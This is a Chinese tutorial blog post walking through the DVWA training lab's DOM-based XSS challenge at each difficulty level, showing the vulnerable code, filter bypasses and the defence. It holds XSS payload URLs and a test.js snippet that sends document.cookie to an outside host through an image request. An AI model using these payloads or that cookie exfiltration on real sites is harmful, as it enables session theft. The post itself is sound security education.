DVWA 黑客攻防演练(十二) DOM型 XSS 攻击 DOM Based Cross Site Scripting

栏目: 编程工具 · 发布时间: 6年前

内容简介:反射型攻击那篇提及到,如何是“数据是否保存在服务器端”来区分,DOM 型 XSS 攻击应该算是 反射型XSS 攻击。DOM 型攻击的特殊之处在于它是利用 JS 的下面一起来探讨一下吧。

反射型攻击那篇提及到,如何是“数据是否保存在服务器端”来区分,DOM 型 XSS 攻击应该算是 反射型XSS 攻击。

DOM 型攻击的特殊之处在于它是利用 JS 的 document.writedocument.innerHTML 等函数进行 “HTML注入”

下面一起来探讨一下吧。

初级

这是一个普通的选择器。

选择了 English 之后是这个样式的

但打开调试器,看到的这段 JS 代码就很成问题了

if (document.location.href.indexOf("default=") >= 0) { //url 是否有 default=
    var lang = document.location.href.substring(document.location.href.indexOf("default=")+8); //截取 url 字符串
    document.write("<option value='" + lang + "'>" + decodeURI(lang) + "</option>");
    document.write("<option value='' disabled='disabled'>----</option>");
}
                        
document.write("<option value='English'>English</option>");
document.write("<option value='French'>French</option>");
document.write("<option value='Spanish'>Spanish</option>");
document.write("<option value='German'>German</option>");

而这里的问题当然是处于截取字符串那里了。

假如 Hacker 在浏览器中输入  http://192.168.0.110:5678/vulnerabilities/xss_d/?default= 呢?

html 就变成

<option value="%3Cscript%3Ealert(1)%3C/script%3E"><script>alert(1)</script></option>

如果 Hacker 输入的是 http://192.168.0.110:5678/vulnerabilities/xss_d/?default=

因为 test.js 的内容是

var img = document.createElement("img")
img.src = "http://www.a.com/?cookies="+escape(document.cookie);
document.body.appendChild(img);

看过上一篇反射型攻击的朋友应该能明白

中级

中级会过滤掉 <script,所以无法用 script 进行注入,但仍然有多种的方式可以注入
<?php

// Is there any input?
if ( array_key_exists( "default", $_GET ) && !is_null ($_GET[ 'default' ]) ) {
    $default = $_GET['default'];
    
    # Do not allow script tags
    if (stripos ($default, "<script") !== false) {
        header ("location: ?default=English");
        exit;
    }
}

?>

利用 Img 注入

或者你会想到使用 img 进行注入,但这不会成功的,因为 option 中的元素不能有图片之类的,只能是文字。

但可以选择先闭合 option 再注入

http://192.168.0.110:5678/vulnerabilities/xss_d/?default=English DVWA 黑客攻防演练(十二) DOM型 XSS 攻击 DOM Based Cross Site Scripting

这种方式的话,就比较容易被容易察觉到

利用参数

因为在网页端是截取 url ,而服务器读的是也只是 default 这个变量,如果url 中的参数不是 default 呢?

http://192.168.0.110:5678/vulnerabilities/xss_d/?default=English&&script=<script>alert(1)</script>

利用 location.hash

还是会有注入的方式的,比如利用 location.hash 。因为 location.hash 不会传到服务器,所以尽情注入吧。

http://192.168.0.110:5678/vulnerabilities/xss_d/?default=English#<script>alert(1)</script>

高级

<?php

// Is there any input?
if ( array_key_exists( "default", $_GET ) && !is_null ($_GET[ 'default' ]) ) {

    # White list the allowable languages
    switch ($_GET['default']) {
        case "French":
        case "English":
        case "German":
        case "Spanish":
            # ok
            break;
        default:
            header ("location: ?default=English");
            exit;
    }
}

?>

高级会检查 default 的变量,而且 default 也只能是规定的值。

但用其他变量,和使用 location.hash 还是没防御到

不可能

不可能级别,后端是这样的。。。因为根本不用后端做保护,主要是在前端做了保护。

<?php
# Don't need to do anything, protction handled on the client side
?>

前端的代码最主要是这样。

if (document.location.href.indexOf("default=") >= 0) {
    var lang = document.location.href.substring(document.location.href.indexOf("default=")+8);
    //记住这个神奇的括号
    document.write("<option value='" + lang + "'>" + (lang) + "</option>");
    document.write("<option value='' disabled='disabled'>----</option>");
}

用一个神奇的括号,恶意的 “HTML 注入代码”都变回普通的字符串。就能很好地防御 dom 型 xss 攻击了


以上所述就是小编给大家介绍的《DVWA 黑客攻防演练(十二) DOM型 XSS 攻击 DOM Based Cross Site Scripting》,希望对大家有所帮助,如果大家有任何疑问请给我留言,小编会及时回复大家的。在此也非常感谢大家对 码农网 的支持!

查看所有标签

猜你喜欢:

本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们

数字时代的营销战略

数字时代的营销战略

曹虎、王赛、乔林、【美】艾拉·考夫曼 / 机械工业出版社 / 2017-1 / 99.00元

菲利普•科特勒说,市场比市场营销变得更快(Market changes faster than Marketing),在这个变革的时代,从硅谷、波士顿到北京、上海、深圳,我们正在重新定义公司,重新定义组织,重新定义战略;同样地,营销亦需要重新定义。 从本质上讲,营销战略只有两个时代:实体时代与比特时代,也可称为工业时代与数字时代。从5年前开始,第二个时代正在向未来20年展开画卷,数字创新型企......一起来看看 《数字时代的营销战略》 这本书的介绍吧!

JS 压缩/解压工具
JS 压缩/解压工具

在线压缩/解压 JS 代码

XML 在线格式化
XML 在线格式化

在线 XML 格式化压缩工具

RGB HSV 转换
RGB HSV 转换

RGB HSV 互转工具